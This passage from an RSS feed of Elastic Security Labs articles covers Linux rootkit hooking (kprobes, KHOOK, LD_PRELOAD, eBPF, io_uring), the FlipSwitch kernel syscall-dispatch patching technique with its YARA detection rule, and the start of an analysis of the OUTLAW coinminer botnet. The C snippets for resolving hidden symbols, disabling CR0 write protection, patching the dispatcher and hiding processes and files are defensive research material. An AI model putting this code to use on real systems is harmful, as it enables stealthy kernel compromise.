<p>While ftrace hooking is powerful, it’s constrained by environment and privilege boundaries (if used from outside the kernel). It requires access to the tracing interface (debugfs) and <code>CAP_SYS_ADMIN</code> privileges, which may be unavailable on hardened or containerized systems where even UID 0 is restricted by namespaces, LSMs, or Secure Boot lockdown policies. Debugfs may also be unmounted or read-only in production for security reasons. Thus, while a fully privileged root user can typically use ftrace, modern defenses often disable or limit these capabilities, reducing the practicality of ftrace-based hooks in highly hardened environments.</p>
<h4>Kprobes Hooking</h4>
<p>Kprobes is another kernel feature intended for debugging and instrumentation, which attackers have repurposed for rootkit hooking. Kprobes allow one to dynamically break into almost any kernel routine at runtime by registering a probe handler. When the specified instruction is about to execute, the kprobe infrastructure saves state and transfers control to the custom handler. After the handler runs (you can even alter registers or the instruction pointer), the kernel resumes normal execution of the original code. In simpler terms, kprobes let you attach a custom callback to an arbitrary point in kernel code (function entry, specific instruction, etc.), somewhat like a breakpoint with a handler.<br />
Using kprobes for malicious hooking usually involves intercepting a function to either prevent it from doing something or to grab some info. A common use in modern rootkits: since many important symbols (like <code>sys_call_table</code> or <code>kallsyms_lookup_name</code>) are no longer exported, a rootkit can deploy a kprobe on a function that does have access to that symbol and steal it. A kprobe structure and registration are shown below.</p>
<pre><code class="language-c">// Declare a kprobe targeting the symbol &quot;kallsyms_lookup_name&quot;
static struct kprobe kp = {
    .symbol_name = &quot;kallsyms_lookup_name&quot;
};

// Function pointer type matching kallsyms_lookup_name
typedef unsigned long
    (*kallsyms_lookup_name_t)(const char *name);

// Global pointer to the resolved kallsyms_lookup_name
kallsyms_lookup_name_t kallsyms_lookup_name;

// Register the kprobe; kernel resolves kp.addr
// to the address of the symbol
register_kprobe(&amp;kp);

// Assign resolved address to our function pointer
kallsyms_lookup_name =
    (kallsyms_lookup_name_t) kp.addr;

// Unregister the kprobe (only needed it once)
unregister_kprobe(&amp;kp);

</code></pre>
&lt;center&gt;*Kprobes hooking code example*&lt;/center&gt;
<p>This probe is used to retrieve the symbol name for <code>kallsyms_lookup_name</code>, typically a precursor to syscall table hooking. Although not present in the initial commits, a recent update to Diamorphine used this technique. It places a kprobe to grab the pointer of <code>kallsyms_lookup_name</code> itself (or uses a kprobe on a known function to indirectly get what it needs). Similarly, other rootkits use a temporary kprobe to locate symbols, then unregister it once done, moving on to perform hooks via other means. Kprobes can also be used to directly hook behavior (not just find addresses). Or a jprobe (a specialized kprobe) can redirect a function entirely. However, using kprobes to fully replace functionality is tricky and not commonly done, because it’s simpler to either patch or use ftrace if you want to consistently hijack a function. Kprobes are often used for intermittent or auxiliary hooking.</p>
<p>Kprobes are useful but limited: they add runtime overhead and can destabilize systems if placed on very hot or restricted low-level functions (recursive probes are suppressed), so attackers must pick probe points carefully; they’re also auditable and can trigger kernel warnings or be logged by system auditing, and active probes are viewable under <code>/sys/kernel/debug/kprobes/list</code> (so unexpected entries are suspicious); some kernels may be built without kprobe/debug support.</p>
<h4>Kernel Hook Framework</h4>
<p>As mentioned earlier, with the Reptile rootkit, attackers sometimes create higher-level frameworks to manage their hooks. Kernel Hook (KHOOK) is one such framework (developed by the author of Reptile) that abstracts away the dirty work of inline patching and provides a cleaner interface for rootkit developers. Essentially, KHOOK is a library that allows you to specify a function to hook and your replacement, and it handles modifying the kernel code while providing a trampoline to call the original function safely. To illustrate, here’s an example of how one might use a KHOOK-like macro (based on Reptile’s usage) to hook the kill syscall:</p>
<pre><code class="language-c">// Creates a replacement for sys_kill:
// long sys_kill(long pid, long sig)
KHOOK_EXT(long, sys_kill, long, long);

static long khook_sys_kill(long pid, long sig) {
    // Signal 0 is used to check if a process
    // exists (without sending a signal)
    if (sig == 0) {
        // If the target is invisible (hidden by
        // a rootkit), pretend it doesn't exist
        if (is_proc_invisible(pid)) {
            return -ESRCH; // No such process
        }
    }

    // Otherwise, forward the call to the original sys_kill syscall
    return KHOOK_ORIGIN(sys_kill, pid, sig);
}
</code></pre>
&lt;center&gt;*KHOOK code example*&lt;/center&gt;
<p>KHOOK operates via inline function patching, overwriting function prologues with a jump to attacker-controlled handlers. The example above illustrates how <code>sys_kill()</code> is redirected to a malicious handler if the kill signal is 0.</p>
<p>Although KHOOK simplifies inline patching, it still inherits all its drawbacks: it modifies kernel text to insert jump stubs, so protections like kernel lockdown, Secure Boot, or <code>W^X</code> can block it. They are also architecture- and version-dependent (commonly limited to x86 and fails on kernel 5.x+), making them fragile across builds.</p>
<h3>Hooking Techniques in Userspace</h3>
<p>Userspace hooking is a technique that targets the libc layer, or other shared libraries accessed via the dynamic linker, to intercept common API calls used by user tools. Examples of these calls include <code>readdir</code>, <code>getdents</code>, <code>open</code>, <code>fopen</code>, <code>fgets</code>, and <code>connect</code>. By interposing replacement functions, an attacker can manipulate ordinary userland tools like <code>ps</code>, <code>ls</code>, <code>lsof</code>, and <code>netstat</code> to return altered or &quot;sanitized&quot; views. This is used to conceal processes, files, sockets, or hide evidence of malicious code.</p>
<p>The common methods for implementing this mirror how the dynamic linker resolves symbols or involve modifying process memory. These methods include using the <code>LD_PRELOAD</code> environment variable or <code>LD_AUDIT</code> to force an early load of a malicious shared object (.so) file, modifying ELF DT_* entries or library search paths to prioritize a hostile library, or performing runtime GOT/PLT overwrites within a process. Overwriting the GOT/PLT typically involves changing memory protection settings (<code>mprotect</code>), writing the new code (<code>write</code>), and then restoring the original settings (<code>restore</code>) after injection.</p>
<p>A hooked function usually calls the real libc symbol using <code>dlsym(RTLD_NEXT, ...)</code> for its normal operation. It then filters or alters the results only for targets it intends to hide. A basic example of a <code>LD_PRELOAD</code> filter for the <code>readdir()</code> function is shown below.</p>
<pre><code class="language-c">#define _GNU_SOURCE       // GNU extensions (RTLD_NEXT)
#include &lt;dlfcn.h&gt;        // dlsym(), RTLD_NEXT
#include &lt;dirent.h&gt;       // DIR, struct dirent, readdir()
#include &lt;string.h&gt;       // strstr()

// Pointer to the original readdir()
static struct dirent *(*real_readdir)(DIR *d);

struct dirent *readdir(DIR *d) {
    if (!real_readdir) // resolve original once
        real_readdir =
            dlsym(RTLD_NEXT, &quot;readdir&quot;);
    struct dirent *ent;
    // Fetch next dir entry from real readdir
    while ((ent = real_readdir(d)) != NULL) {
        // If name contains the secret marker,
        // skip this entry (hide it)
        if (strstr(ent-&gt;d_name, &quot;.secret&quot;))
            continue;
        return ent; // return visible entry
    }
    return NULL; // no more entries
}

</code></pre>
<p>This example replaces <code>readdir()</code> in-process by providing a library resolved before the real <code>libc</code>, effectively hiding filenames that match a filter. Historic user-mode hiding tools and lightweight “rootkits” have used <code>LD_PRELOAD</code> or GOT/PLT patching to hide processes, files, and sockets. Attackers also inject shared objects into specific services to achieve targeted stealth without needing kernel modules.</p>
<p>Userspace interposition affects only processes that load the malicious library (or are injected into). It’s fragile for system-wide persistence (service/unit files, sanitized environments, setuid/static binaries complicate it). Detection is straightforward relative to kernel hooks: check for suspicious <code>LD_PRELOAD</code>/<code>LD_AUDIT</code> entries, unexpected mapped shared objects in <code>/proc/&lt;pid&gt;/maps</code>, mismatches between on-disk libraries and in-memory imports, or altered GOT entries. Integrity tools, service supervisors (systemd), and simple process memory inspection will usually expose this technique.</p>
<h3>Hooking Techniques Using eBPF</h3>
<p>A more recent rootkit implementation model involves the abuse of eBPF (extended Berkeley Packet Filter). eBPF is a subsystem in Linux that allows privileged users to load bytecode programs into the kernel. While often described as a &quot;sandboxed VM,&quot; its security actually relies on a static verifier that ensures the bytecode is safe (no infinite loops, no illegal memory access) before it is JIT-compiled into native machine code for near-zero-latency execution.</p>
<p>Instead of inserting an LKM to modify kernel behavior, an attacker can load one or more eBPF programs that attach to sensitive kernel events. For instance, one can write an eBPF program that attaches to the system call entry for <code>execve</code> (via a kprobe or tracepoint), allowing it to monitor or manipulate process execution. Similarly, eBPF can hook at the LSM layer (like program execution notifications) to prevent certain actions or hide them. An example is displayed below.</p>
<pre><code class="language-c">// Attach this eBPF program to the tracepoint for sys_enter_execve
SEC(&quot;tp/syscalls/sys_enter_execve&quot;)
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
    // Get the current process's PID and TID as a 64-bit value
    // Upper 32 bits = PID, Lower 32 bits = TID
    __u64 pid_tgid = bpf_get_current_pid_tgid();

    // Delegate handling logic to a helper function
    return handle_tp_sys_enter_execve(ctx, pid_tgid);
}

</code></pre>
&lt;center&gt;*eBPF hooking code example*&lt;/center&gt;
<p>Two prominent public examples are TripleCross and Boopkit. TripleCross demonstrated a rootkit that used eBPF to hook syscalls like execve for persistence and hiding. Boopkit used eBPF as a covert communication channel and backdoor, by attaching eBPF programs that could manipulate socket buffers (allowing a remote party to communicate with the rootkit through crafted packets). These are proof-of-concept projects, but they proved the viability of eBPF in rootkit development.</p>
<p>Main advantages are that eBPF hooking does not require an LKM to be loaded and is compatible with modern kernel protections. For eBPF-supported kernels, this is a strong technique. But although they are powerful, they are also constrained. They need elevated privileges to load, are limited by the verifier’s safety checks, are ephemeral across reboots (requiring separate persistence), and are increasingly discoverable by auditing/forensic tools. The usage of eBPF will especially be visible on systems that typically do not use eBPF tooling.</p>
<h2>Evasion Techniques Using io_uring</h2>
<p>While <code>io_uring</code> is not used for hooking, it deserves a honorable mention as a recent addition to the EDR evasion techniques used by rootkits. <code>io_uring</code> is an asynchronous, ring-buffer-based I/O API that lets processes submit batches of I/O requests (SQEs) and reap completions (CQEs) with minimal syscall overhead. It is not a hooking framework, but its design changes the syscall/visibility surface and exposes powerful kernel-facing primitives (registered buffers, fixed files, mapped rings) that attackers can abuse for stealthy I/O, syscall-evading workflows, or, when combined with a vulnerability, as an exploit primitive that leads to installing hooks at a lower layer.</p>
<p>Attack patterns fall into two classes: (1) <em>evasion/performance abuse</em>: a malicious process uses <code>io_uring</code> to perform lots of reads/writes/metadata ops in large batches so traditional per-syscall detectors see fewer events or atypical patterns; and (2) <em>exploit enabling</em>: bugs in <code>io_uring</code> surfaces (ring mappings, registered resources) have historically been the vector for privilege escalation, after which an attacker can install kernel hooks by more traditional means. <code>io_uring</code> also bypasses some libc wrappers if code submits operations directly, so userland hooking that intercepts libc calls may be circumvented. A simple submit/reap flow is illustrated below:</p>
<pre><code class="language-c">// Minimal io_uring usage (error handling omitted)

// io_uring context (SQ/CQ rings shared with kernel)
struct io_uring ring;

// Initialize ring with space for 16 SQEs
io_uring_queue_init(16, &amp;ring, 0);

// Grab a free submission entry (or NULL if full)
struct io_uring_sqe *sqe =
    io_uring_get_sqe(&amp;ring);

// Prepare SQE as a read(fd, buf, len, offset=0)
io_uring_prep_read(sqe, fd, buf, len, 0);

// Submit pending SQEs to the kernel (non-blocking)
io_uring_submit(&amp;ring);

struct io_uring_cqe *cqe;
// Block until a completion is available
io_uring_wait_cqe(&amp;ring, &amp;cqe);
// Mark the completion as handled (free slot)
io_uring_cqe_seen(&amp;ring, cqe);

</code></pre>
<p>The example above shows a submission queue feeding many file ops into the kernel with a single or a few <code>io_uring_enter</code> syscalls, reducing per-operation syscall telemetry.</p>
<p>Adversaries interested in stealthy data collection or high-throughput exfiltration may switch to <code>io_uring</code> to reduce syscall noise. <code>io_uring</code> does not inherently install global hooks or change other processes’ behavior; it is process-local unless combined with privilege escalation. Detection is possible by instrumenting the <code>io_uring</code> syscalls (<code>io_uring_enter</code>, <code>io_uring_register</code>) and watching for anomalous patterns: unusually large batches, many registered files/buffers, or processes that perform heavy batched metadata operations. Kernel version differences also matter: <code>io_uring</code> features evolve quickly, so attacker techniques may be version-dependent. Finally, because <code>io_uring</code> requires a running malicious process, defenders can often interrupt it and inspect its rings, registered files, and memory mappings to uncover misuse.</p>
<h2>Conclusion</h2>
<p>Hooking techniques in Linux have come a long way from simply overwriting a pointer in a table. We now see attackers exploiting legitimate kernel instrumentation frameworks (ftrace, kprobes, eBPF) to implant hooks that are harder to detect. Each method, from IDT and syscall table patches to inline hooks and dynamic probes, has its own trade-offs in stealth and stability. Defenders need to be aware of all these possible vectors. In practice, modern rootkits often combine multiple hooking techniques to achieve their goals. For example, PUMAKIT uses a direct syscall table hook and ftrace hooks, and Diamorphine uses syscall hooks plus a kprobe to get around symbol hiding. This layered approach means detection tools must check many facets of the system: IDT entries, syscall tables, model-specific registers (for sysenter hooks), integrity of function prologues, contents of critical function pointers in structures (VFS, etc.), active ftrace ops, registered kprobes, and loaded eBPF programs.</p>
<p>In part two of this series, we move from theory to practice. Armed with the understanding of rootkit taxonomy and hooking techniques covered here, we will focus on detection engineering, building and applying practical detection strategies to identify these threats in real-world Linux environments.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/linux-part-1-header.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[FlipSwitch: a Novel Syscall Hooking Technique]]></title>
            <link>https://www.elastic.co/es/security-labs/flipswitch-linux-rootkit</link>
            <guid>flipswitch-linux-rootkit</guid>
            <pubDate>Tue, 30 Sep 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[FlipSwitch offers a fresh look at bypassing Linux kernel defenses, revealing a new technique in the ongoing battle between cyber attackers and defenders.]]></description>
            <content:encoded><![CDATA[<h2>FlipSwitch: a Novel Syscall Hooking Technique</h2>
<p>Syscall hooking, particularly by overwriting pointers to syscall handlers, has been a cornerstone of Linux rootkits like Diamorphine and PUMAKIT, enabling them to hide their presence and control the flow of information. While other hooking mechanisms exist, such as ftrace and eBPF, each has its own pros and cons, and most have some form of limitation. Function pointer overwrites remain the most effective and simple way of hooking syscalls in the kernel.</p>
<p>However, the Linux kernel is a moving target. With each new release, the community introduces changes that can render entire classes of malware obsolete overnight. This is precisely what happened with the release of <a href="https://github.com/torvalds/linux/blob/v6.9/arch/x86/entry/syscall_64.c"><strong>Linux kernel 6.9</strong></a>, which introduced a fundamental change to the syscall dispatch mechanism for x86-64 architecture, effectively neutralizing traditional syscall hooking methods.</p>
<h3>The Walls Are Closing In: The Death of a Classic Hooking Technique</h3>
<p>To appreciate the significance of the changes in kernel 6.9, let's first revisit the classic method of syscall hooking. For years, the kernel used a simple array of function pointers called the <code>sys_call_table</code> to dispatch syscalls. The logic was beautifully simple, as seen in the kernel source:</p>
<pre><code class="language-c">// Pre-6.9: Direct array lookup
sys_call_table[__NR_kill](regs);
</code></pre>
<p>A rootkit could locate this table in memory, disable write protection, and overwrite the address of a syscall like <code>kill</code> or <code>getdents64</code> with a pointer to its own adversary-controlled function. This empowers a rootkit to filter the output of the <code>ls</code> command to hide malicious files or prevent a specific process from being terminated, for example. But the directness of this mechanism was also its weakness. With Linux kernel 6.9, the game changed completely when the direct array lookup was replaced with a more efficient and secure switch statement-based dispatch mechanism:</p>
<pre><code class="language-c">// Kernel 6.9+: Switch-statement dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include &lt;asm/syscalls_64.h&gt; // Expands to case statements
    default: return __x64_sys_ni_syscall(regs);
    }
}
</code></pre>
<p>This change, while seemingly subtle, was a death blow to traditional syscall hooking. The <code>sys_call_table</code> still exists for compatibility with tracing tools, but it is no longer used for the actual dispatch of syscalls. Any modifications to it are simply ignored.</p>
<h3>Finding a New Way In: The FlipSwitch Technique</h3>
<p>We knew that the kernel still had to call the original syscall functions <em>somehow</em>. The logic was still there, just hidden behind a new layer of indirection. This led to the development of <a href="https://github.com/1337-42/FlipSwitch-dev/">FlipSwitch</a>, a technique that bypasses the new switch statement implementation by directly patching the compiled machine code of the kernel's syscall dispatcher.</p>
<p>Here's a breakdown of how it works:</p>
<p>The first step is to find the address of the original syscall function we want to hook. Ironically, the now-defunct <code>sys_call_table</code> is the perfect tool for this. We can still look up the address of <code>sys_kill</code> in this table to get a reliable pointer to the original function.</p>
<p>A common method to locate kernel symbols is the <code>kallsyms_lookup_name</code> function. This function provides a programmatic way to find the address of any exported kernel symbol by its name. For instance, we can use <code>kallsyms_lookup_name(&quot;sys_kill&quot;)</code> to obtain the address of the <code>sys_kill</code> function, providing a flexible and reliable way to obtain function pointers even when the <code>sys_call_table</code> is not directly usable for dispatch.</p>
<p>It's important to note that <code>kallsyms_lookup_name</code> is generally not exported by default, meaning it's not directly accessible to loadable kernel modules. This restriction enhances kernel security. However, a common technique to indirectly access <code>kallsyms_lookup_name</code> is by using a <code>kprobe</code>. By placing a <code>kprobe</code> on a known kernel function, a module can then use the kprobe's internal structure to derive the address of the original, probed function. From this, a function pointer to <code>kallsyms_lookup_name</code> can often be obtained through careful analysis of the kernel's memory layout, such as by examining nearby memory regions relative to the probed function's address.</p>
<pre><code class="language-c">/**
 * Find the address of kallsyms_lookup_name using kprobes
 * @return Pointer to kallsyms_lookup_name function or NULL on failure
 */
void *find_kallsyms_lookup_name(void)
{
    struct kprobe *kp;
    void *addr;

    kp = kzalloc(sizeof(*kp), GFP_KERNEL);
    if (!kp)
        return NULL;

    kp-&gt;symbol_name = O_STRING(&quot;kallsyms_lookup_name&quot;);
    if (register_kprobe(kp) != 0) {
        kfree(kp);
        return NULL;
    }

    addr = kp-&gt;addr;
    unregister_kprobe(kp);
    kfree(kp);

    return addr;
}
</code></pre>
<p>After finding the address of <code>kallsyms_lookup_name</code>, we can use it to find pointers to the symbols that we need to continue the process of placing a hook.</p>
<p>With the target address in hand, we then turn our attention to the <code>x64_sys_call</code> function, the new home of the syscall dispatch logic. We begin to scan its raw machine code, byte by byte, looking for a call instruction. On x86-64, the call instruction has a specific one-byte opcode: <code>0xe8</code>. This byte is followed by a 4-byte relative offset that tells the CPU where to jump to.</p>
<p>This is where the magic happens. We're not just looking for <em>any</em> call instruction. We're looking for a call instruction that, when combined with its 4-byte offset, points directly to the address of the original <code>sys_kill</code> function we found previously. This combination of the <code>0xe8</code> opcode and the specific offset is a unique signature within the <code>x64_sys_call</code> function. There is only one instruction that matches this pattern.</p>
<pre><code class="language-c">/* Search for call instruction to sys_kill in x64_sys_call */
    for (size_t i = 0; i &lt; DUMP_SIZE - 4; ++i) {
        if (func_ptr[i] == 0xe8) { /* Found a call instruction */
            int32_t rel = *(int32_t *)(func_ptr + i + 1);
            void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel);
            
            if (call_addr == (void *)sys_call_table[__NR_kill]) {
                debug_printk(&quot;Found call to sys_kill at offset %zu\n&quot;, i);
</code></pre>
<p>Once we've located this unique instruction, we've found our insertion point. But before we can modify the kernel's code, we must bypass its memory protections. Since we are already executing within the kernel (ring 0), we can use a classic, powerful technique: disabling write protection by flipping a bit in the <code>CR0</code> register. The <code>CR0</code> register controls basic processor functions, and its 16th bit (Write Protect) prevents the CPU from writing to read-only pages. By temporarily clearing this bit, we permit ourselves to modify any part of the kernel's memory.</p>
<pre><code class="language-c">/**
 * Force write to CR0 register bypassing compiler optimizations
 * @param val Value to write to CR0
 */
static inline void write_cr0_forced(unsigned long val)
{
    unsigned long order;

    asm volatile(&quot;mov %0, %%cr0&quot; 
        : &quot;+r&quot;(val), &quot;+m&quot;(order));
}

/**
 * Enable write protection (set WP bit in CR0)
 */
static inline void enable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &amp;cr0);
    write_cr0_forced(cr0);
}

/**
 * Disable write protection (clear WP bit in CR0)
 */
static inline void disable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &amp;cr0);
    write_cr0_forced(cr0);
}

</code></pre>
<p>With write protection disabled, we overwrite the 4-byte offset of the call instruction with a new offset that points to our own <code>fake_kill</code> function. We have, in effect, &quot;flipped the switch&quot; inside the kernel's own dispatcher, redirecting a single syscall to our malicious code while leaving the rest of the system untouched.</p>
<p>This technique is both precise and reliable. And, significantly, all changes are fully reverted when the kernel module is unloaded, leaving no trace of its presence.</p>
<p>The development of FlipSwitch is a testament to the ongoing cat-and-mouse game between attackers and defenders. As kernel developers continue to harden the Linux kernel, attackers will continue to find new and creative ways to bypass these defenses. We hope that by sharing this research, we can help the security community stay one step ahead.</p>
<h2>Detecting malware</h2>
<p>Detecting rootkits once they have been loaded into the kernel is exceptionally difficult, as they are designed to operate stealthily and evade detection by security tools. However, we have developed a YARA signature to identify the proof-of-concept for FlipSwitch. This signature can be used to detect the presence of the FlipSwitch rootkit in memory or on disk.</p>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the Flipswitch proof of concept.</p>
<pre><code>rule Linux_Rootkit_Flipswitch_821f3c9e
{
	meta:
		author = &quot;Elastic Security&quot;
		description = &quot;Yara rule to detect the FlipSwitch rootkit PoC&quot;
		os = &quot;Linux&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Rootkit&quot;
		family = &quot;Flipswitch&quot;
		threat_name = &quot;Linux.Rootkit.Flipswitch&quot;
		
	strings:
		$all_a = { FF FF 48 89 45 E8 F0 80 ?? ?? ?? 31 C0 48 89 45 F0 48 8B 45 E8 0F 22 C0 }
		$obf_b = { BA AA 00 00 00 BE 0D 00 00 00 48 C7 ?? ?? ?? ?? ?? 49 89 C4 E8 }
		$obf_c = { BA AA 00 00 00 BE 15 00 00 00 48 89 C3 E8 ?? ?? ?? ?? 48 89 DF 48 89 43 30 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 }
		$main_b = { 41 54 53 E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 49 89 C4 E8 ?? ?? ?? ?? 4D 85 E4 74 2D 48 89 C3 48 85 }
		$main_c = { 48 85 C0 74 1F 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 ?? ?? ?? ?? 45 31 E4 EB 14 }
		$debug_b = { 48 89 E5 41 54 53 48 85 C0 0F 84 ?? ?? 00 00 48 C7 }
		$debug_c = { 48 85 C0 74 45 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 75 26 48 89 DF 4C 8B 63 28 E8 ?? ?? ?? ?? 48 89 DF E8 }

	condition:
		#all_a&gt;=2 and (1 of ($obf_*) or 1 of ($main_*) or 1 of ($debug_*))
}

</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/1337-42/FlipSwitch-dev/">https://github.com/1337-42/FlipSwitch-dev/</a></li>
<li><a href="https://www.virusbulletin.com/conference/vb2025/abstracts/unmasking-unseen-deep-dive-modern-linux-rootkits-and-their-detection/">https://www.virusbulletin.com/conference/vb2025/abstracts/unmasking-unseen-deep-dive-modern-linux-rootkits-and-their-detection/</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/flipswitch-linux-rootkit/Security Labs Images 5.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Outlaw Linux Malware: Persistent, Unsophisticated, and Surprisingly Effective]]></title>
            <link>https://www.elastic.co/es/security-labs/outlaw-linux-malware</link>
            <guid>outlaw-linux-malware</guid>
            <pubDate>Tue, 01 Apr 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Outlaw is a persistent Linux malware leveraging simple brute-force and mining tactics to maintain a long-lasting botnet.]]></description>
            <content:encoded><![CDATA[<h2>Preface</h2>
<p>OUTLAW is a persistent yet unsophisticated auto-propagating coinminer package observed across multiple versions over the past few years [<a href="https://www.countercraftsec.com/blog/dota3-malware-again-and-again/">1</a>], [<a href="https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting">2</a>], [<a href="https://isc.sans.edu/diary/Hygiene+Hygiene+Hygiene+Guest+Diary/31260">3</a>], [<a href="https://darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics">4</a>]. Despite lacking stealth and advanced evasion techniques, it remains active and effective by leveraging simple but impactful tactics such as SSH brute-forcing, SSH key and cron-based persistence, and manually modified commodity miners and IRC channels. This persistence highlights how botnet operators can achieve widespread impact without relying on sophisticated techniques.</p>
<p>To gain deeper insights into OUTLAW’s behavior and operational patterns, we deployed a honeypot designed to attract and observe the attackers in action. By carefully crafting an environment that mimicked a vulnerable system, we were able to bait the adversaries into interacting with our server. This interaction revealed automated and manual actions, with operators entering commands directly, making modifications on the fly, and even mistyping commands—clear indicators of human involvement. A captured GIF showcases these moments, providing a rare glimpse into their real-time decision-making process.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/01-honeypot.gif" alt="Threat actors actions in a honeypot" title="Threat actors actions in a honeypot" /></p>
<p>By analyzing OUTLAW, we gain new insights into the tooling used by its operators and their evolving strategies over time. This malware presents a valuable opportunity to apply detection engineering principles, as its attack chain spans nearly the entire MITRE ATT&amp;CK framework. Examining its infection process allows us to develop effective detection strategies that capitalize on its predictable and repetitive behaviors.</p>
<p>This report provides a full attack chain analysis, including detailed detection rules and hunting queries. By breaking down OUTLAW’s components, we demonstrate how even rudimentary malware can maintain longevity in modern environments and how defenders can leverage its simplicity to enhance detection and response.</p>
<h2>Key Takeaways</h2>
<ul>
<li><strong>Persistent but unsophisticated</strong>: OUTLAW remains active despite using basic techniques like SSH brute-forcing, SSH key manipulation, and cron-based persistence.</li>
<li><strong>Commodity tooling</strong>: The malware deploys modified <code>XMRig</code> miners, leverages IRC for C2, and includes publicly available scripts for persistence and defense evasion.</li>
<li><strong>Extensive attack surface</strong>: OUTLAW’s infection chain spans nearly the entire MITRE ATT&amp;CK framework, offering many detection and hunting opportunities.</li>
<li><strong>Worm-like propagation</strong>: OUTLAW uses its compromised hosts to launch further SSH brute-force attacks on their local subnets, rapidly expanding the botnet.</li>
</ul>
<h2>OUTLAW Overview</h2>
<p>OUTLAW follows a multi-stage infection process that begins with downloading and executing its payload, establishing persistence, and expanding its botnet through SSH brute-force attacks. The execution chain is displayed below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/02-flow.png" alt="OUTLAW infection chain overview" title="OUTLAW infection chain overview" /></p>
<p><strong>1. Initial Infection &amp; Deployment</strong></p>
<ul>
<li>The attack starts when <code>tddwrt7s.sh</code> downloads the <code>dota3.tar.gz</code> package from a C2 server.</li>
<li>The extracted <code>initall.sh</code> script executes, kicking off the infection chain.</li>
</ul>
<p><strong>2. Gaining Control &amp; Persistence</strong></p>
<ul>
<li>The malware ensures dominance by killing competing brute-forcers and miners.</li>
<li>It then deploys:
<ul>
<li>Modified XMRIG for crypto mining (connecting to a mining pool).</li>
<li>STEALTH SHELLBOT for remote control via IRC C2.</li>
<li>BLITZ to perform SSH brute force attacks.</li>
</ul>
</li>
</ul>
<p><strong>3. Propagation &amp; Expansion</strong></p>
<ul>
<li>The brute-force module retrieves target lists from an SSH C2 server and attempts SSH brute-force attacks on new machines.</li>
<li>Successfully compromised systems are infected, repeating the cycle.</li>
</ul>
<p>This automated infection loop allows OUTLAW to remain active and profitable with minimal effort from attackers. Let’s take a deeper look at the entire attack chain.</p>
<h2>OUTLAW Execution Chain</h2>
<p>OUTLAW effectively covers a wide range of tactics and techniques in the MITRE ATT&amp;CK framework. This section maps its behavior to provide an overview of its infection chain and methods.</p>
<h3>Initial Access: blitz</h3>
<p>OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. The malware employs its <code>blitz</code> component, also known under other names such as <code>kthreadadd</code>, to perform high-volume scanning and password-guessing attempts. It leverages lists of target IPs and credentials retrieved from its C2 servers.</p>
<p>OUTLAW also acts like a worm, automatically installing itself on every system that it successfully compromises. This self-propagation mechanism allows it to spread rapidly across networks, turning each newly infected device into another node for further brute-forcing and infection attempts.</p>
<p>We will take a deeper look into how OUTLAW performs these attacks and propagates itself later in the article.</p>
<h3>Execution: tddwrt7s.sh</h3>
<p>The first infections of OUTLAW seem to originate from a straightforward dropper script: <code>tddwrt7s.sh</code>. This shell script checks for an existing installation. If the malware is already present and unpacked, it will run the initall script, kicking off the infection chain. Otherwise, it will attempt to download the package from a list of provided staging servers. For illustration purposes, a shortened snippet of the dropper is shown below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/03-dropper.png" alt="Dropper tddwrt7s.sh overview" title="Dropper `tddwrt7s.sh` overview" /></p>
<p>The extracted <code>dota3.tar.gz</code> package extracts its contents into a hidden folder called <code>.rsync</code>, and contains the following entries:</p>
<pre><code class="language-text"> ├── a
 │   ├── a
 │   ├── init0
 │   ├── kswapd0
 │   ├── kswapd01
 │   ├── run
 │   ├── socat
 │   └── stop
 ├── b
 │   ├── a
 │   ├── run
 │   └── stop
 ├── c
 │   ├── blitz
 │   ├── blitz32
 │   ├── blitz64
 │   ├── go
 │   ├── run
 │   ├── start
 │   ├── stop
 │   └── v
 ├── init
 ├── init2
 └── initall
</code></pre>
<p>Let’s deconstruct the execution chains one by one.</p>
<h3>Main Initialization script: initall</h3>
<p>The three <code>init</code> scripts control the overall execution flow and deployment of the malware. Starting with the <code>initall</code> script, the main initializer determines which execution path to take. It checks the system environment and decides whether to use <code>init</code> or <code>init2</code> based on file permissions and available directories.</p>
<p>These <code>init</code> scripts all use variable-based string concatenation obfuscation, where commands are split into small variable fragments that are dynamically concatenated and executed, making static analysis more difficult. For example, the <code>initall</code> script looks like this:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/04-obfuscation.png" alt="Obfuscated initall script" title="Obfuscated `initall` script" /></p>
<p>However, by changing the <code>eval</code> to an <code>echo</code>, we can get the output without any effort:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/05-deobfuscation.png" alt="De-obfuscated initall script" title="De-obfuscated `initall` script" /></p>
